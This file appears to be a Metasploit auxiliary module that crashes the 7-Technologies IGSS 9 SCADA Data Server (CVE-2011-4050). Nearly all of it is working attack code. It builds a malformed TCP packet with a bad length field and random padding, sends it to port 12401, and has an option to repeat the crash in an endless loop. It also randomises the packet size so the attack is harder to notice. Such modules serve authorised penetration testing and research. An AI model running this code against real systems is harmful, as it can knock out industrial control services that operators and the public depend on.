1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::Tcp
8
  include Msf::Auxiliary::Dos
9

10
  def initialize(info = {})
11
    super(
12
      update_info(
13
        info,
14
        'Name' => '7-Technologies IGSS 9 IGSSdataServer.exe DoS',
15
        'Description' => %q{
16
          The 7-Technologies SCADA IGSS Data Server (IGSSdataServer.exe) <= 9.0.0.10306 can be
17
          brought down by sending a crafted TCP packet to port 12401.  This should also work
18
          for version <= 9.0.0.1120, but that version hasn't been tested.
19
        },
20
        'Author' => [
21
          'jfa', # Metasploit module
22
        ],
23
        'License' => MSF_LICENSE,
24
        'References' => [
25
          [ 'CVE', '2011-4050' ],
26
          [ 'OSVDB', '77976' ],
27
          [ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-11-335-01' ]
28
        ],
29
        'DisclosureDate' => '2011-12-20',
30
        'Notes' => {
31
          'Stability' => [CRASH_SERVICE_DOWN],
32
          'SideEffects' => [],
33
          'Reliability' => []
34
        }
35
      )
36
    )
37

38
    register_options(
39
      [
40
        Opt::RPORT(12401),
41
        OptInt.new('COUNT', [ true, 'DoS IGSSdataServer.exe this many times. 0 for infinite loop.', 1]),
42
        OptInt.new('SLEEP', [ true, 'Number of seconds to sleep between sending DoS packet.', 3])
43
      ]
44
    )
45
  end
46

47
  def run
48
    #
49
    # dos = "\x00\x04\x01\x00\x34\x12\x0D\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00"
50
    # dos << Rex::Text.rand_text_alpha(5014)
51
    #
52
    # I should have looked at the other MSF modules before I started doing it the hard way.
53
    # Lesson learn, thanks hal. Mostly borrowed from igss9_igssdataserver_rename
54
    #
55

56
    count = datastore['COUNT']
57
    snore = datastore['SLEEP']
58
    times = 1
59

60
    # Someone wants to keep a good service down.
61
    if count == 0
62
      count = 1
63
      infinite = true
64
    end
65

66
    #
67
    # The port seems to stay open open until someone clicks "Close the program".
68
    # Once they click "Close the program" (Windows 7), the port becomes unavailable.
69
    #
70
    # However, even though it's open, it doesn't seem to handle any valid requests.
71
    #
72
    while count >= 1
73
      ## Randomize the buffer size to make it a teeny tiny bit less obvious
74
      size = Random.new.rand(1024..5014)
75

76
      dos = "\x00\x04" # Funky size causes overflow
77
      dos << "\x01\x00\x34\x12"
78
      dos << "\x0D"               # Opcode
79
      dos << "\x00\x00\x00\x00\x00\x00\x00"
80
      dos << "\x01"               # Flag
81
      dos << "\x00\x00\x00\x01\x00\x00\x00"
82
      dos << Rex::Text.rand_text_alpha(size)
83

84
      begin
85
        connect
86
        sock.put(dos)
87
        print_status("Sending DoS packet #{times}, size: #{dos.length} ...")
88
        disconnect
89
      rescue ::Rex::ConnectionError, Errno::ECONNREFUSED
90
        print_status("Connection refused. Someone may have clicked 'Close the program'")
91
      end
92

93
      if infinite
94
        select(nil, nil, nil, snore)
95
      else
96
        select(nil, nil, nil, snore) if count > 1
97
        count -= 1
98
      end
99
      times += 1
100

101
    end
102
  end
103
end
104

105